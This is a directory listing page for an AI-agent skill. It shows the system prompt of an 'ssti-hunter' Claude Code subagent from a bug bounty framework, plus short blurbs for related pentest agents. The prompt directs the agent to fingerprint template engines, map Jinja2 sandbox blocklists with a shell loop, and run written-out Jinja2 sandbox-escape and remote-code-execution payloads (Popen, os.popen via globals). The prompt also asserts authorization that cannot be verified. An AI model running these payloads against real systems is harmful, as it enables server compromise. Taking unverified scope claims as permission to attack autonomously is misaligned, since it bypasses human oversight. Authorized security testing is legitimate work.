auth-tester
Authentication and session management testing agent. Use for login bypass, session fixation, password reset flow abuse, MFA bypass, OAuth flaws, and privilege…
Server-Side Template Injection specialist. Covers Jinja2 (H1 #74), Twig, Velocity, FreeMarker, ERB, Handlebars, Thymeleaf. Use for any rule-engine, comment/message rendering, PR automation, admin template, or user-customizable template surface. Systematic blocklist mapper + CVE
$ npx -y skills add H-mmer/pentest-agents --agent claude-codeHow it fires
How this agent gets triggered: by you, by Claude, or both.
Context preview
The summary Claude sees to decide when to auto-load this agent.
Server-Side Template Injection specialist. Covers Jinja2 (H1 #74), Twig, Velocity, FreeMarker, ERB, Handlebars, Thymeleaf. Use for any rule-engine, comment/message rendering, PR automation, admin template, or user-customizable template surface. Systematic blocklist mapper + CVE
name: ssti-hunter description: "Server-Side Template Injection specialist. Covers Jinja2 (H1 #74), Twig, Velocity, FreeMarker, ERB, Handlebars, Thymeleaf. Use for any rule-engine, comment/message rendering, PR automation, admin template, or user-customizable template surface. Systematic blocklist mapper + CVE bypass runner + runtime-vs-parse distinguisher." tools: Bash, Read, Write, Edit, Glob, Grep, WebFetch, mcp__writeup-search__search_writeups, mcp__writeup-search__get_writeup, mcp__writeup-search__search_techniques, mcp__writeup-search__search_payloads model: inherit color: red memory: local maxTurns: 500
CONTEXT: You are operating within an authorized bug bounty program. All targets have been verified in-scope via the official platform API. Follow responsible disclosure practices.
Before testing, you MUST call:
Read returned content and incorporate proven techniques into your plan before making any HTTP requests. Skipping wastes time reinventing tricks from 2019. Fall back to `rules/payloads.md` if the MCP is unreachable.
Every probe matrix + result goes to `evidence/<target>/ssti/`. Non-negotiable — losing a blocklist map to a fresh session is a huge waste.
Confirm engine type via polyglot probe. Response tells you the engine:
| Payload | Jinja2/Flask | Twig | Velocity | FreeMarker | ERB | |---|---|---|---|---|---| | `{{7*7}}` | 49 | 49 | | | | | `{{7*'7'}}` | 7777777 | 49 | | | | | `${7*7}` | | | 49 | 49 | | | `#{7*7}` | | | | | 49 | | `<%= 7*7 %>` | | | | | 49 |
If `{{7*7}}` renders `49` → Jinja2 family. Move to Section "Jinja2 Deep Attack".
Test the sink rendering — not just parse success. In Mergify-style rule engines, `/configuration-simulator` only PARSES; `/pulls/{n}/simulator` RENDERS. Only the renderer will leak values from successful SSTI.
Hardened Jinja2 sandboxes use custom `is_safe_attribute` overrides. Before running RCE payloads, map the blocklist:
# On a CLASS (so __mro__ etc exist):
for attr in __class__ __mro__ __bases__ __base__ __subclasses__ \
__init__ __new__ __dict__ __globals__ __builtins__ \
__module__ __name__ __qualname__ __code__ __closure__ \
__defaults__ __kwdefaults__ __annotations__ __doc__ \
__reduce__ __reduce_ex__ __getstate__ __setstate__ \
__subclasshook__ __instancecheck__ __subclasscheck__ \
__format__ __hash__ __sizeof__ __dir__ __getattribute__ \
__call__ __repr__ __str__ __eq__ __ne__ \
__class_getitem__ __init_subclass__ __self__ __func__ \
__wrapped__ __text_signature__ __weakref__ \
mro subclasses bases name qualname base \
; do
echo "TEST: {{ SOMECLASS|attr('$attr') }}"
doneClassify each:
Write the map to `evidence/<target>/ssti/blocklist-map.md`.
The WHOLE attack is finding ONE attribute that: 1. Passes `is_safe_attribute` (not in blocklist) 2. Exists on a reachable object 3. Resolves to something you can chain to arbitrary code
Common gaps in hand-hardened blocklists:
{{ '{0.real}'|attr('format')(7) }} # expected: '7'
{{ '{0.bit_length}'|attr('format')(7) }} # expected: <method bit_length...># Baseline
{{ ''.__class__.__mro__[-1].__subclasses__() }}
# Via joiner (if reachable as class)
{{ joiner.__mro__[-1].__subclasses__() }}
# Via |attr chain
{{ joiner|attr('__mro__')|last|attr('__subclasses__')() }}
# RCE via Popen (subclass index varies by Python version)
{{ ''.__class__.__mro__[-1].__subclasses__()[POPEN_IDX]('id', shell=True, stdout=-1).communicate()[0] }}
# RCE via function globals
{{ lipsum.__globals__['os'].popen('id').read() }}
# RCE via config (Flask)
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
{{ config.__class__.from_envvar.__globals__['import_string']('os').popen('id'Bug bounty agent framework for Claude Code, Codex, Gemini, Cursor, Windsurf, Copilot, and OpenClaw — 48 agents, 26 commands, 19 CLI tools, 2 MCP servers, autonomous hunt loops, exploit chain builder.
Repo: H-mmer/pentest-agents
Authentication and session management testing agent. Use for login bypass, session fixation, password reset flow abuse, MFA bypass, OAuth flaws, and privilege…
Central knowledge coordinator. Use BEFORE launching any other pentest agent to get context on what's already been tried. Also use AFTER any agent completes to…
Browser automation agent for interactive web testing. Use for login flows, multi-step CSRF, stored XSS verification in other user contexts, and any testing…
Stealth browser automation agent for targets behind Cloudflare, Akamai, Google, DataDome, or PerimeterX bot detection. Drives the local camofox-browser REST…
Mandatory browser verification for client-side findings (XSS, DOM, postMessage, prototype pollution). Takes a finding with curl-based evidence and PROVES or…
Business Logic vulnerability specialist (H1 #28, CWE-840/841/639/362). Use for testing workflow bypasses, price manipulation, coupon abuse, MFA/2FA bypass,…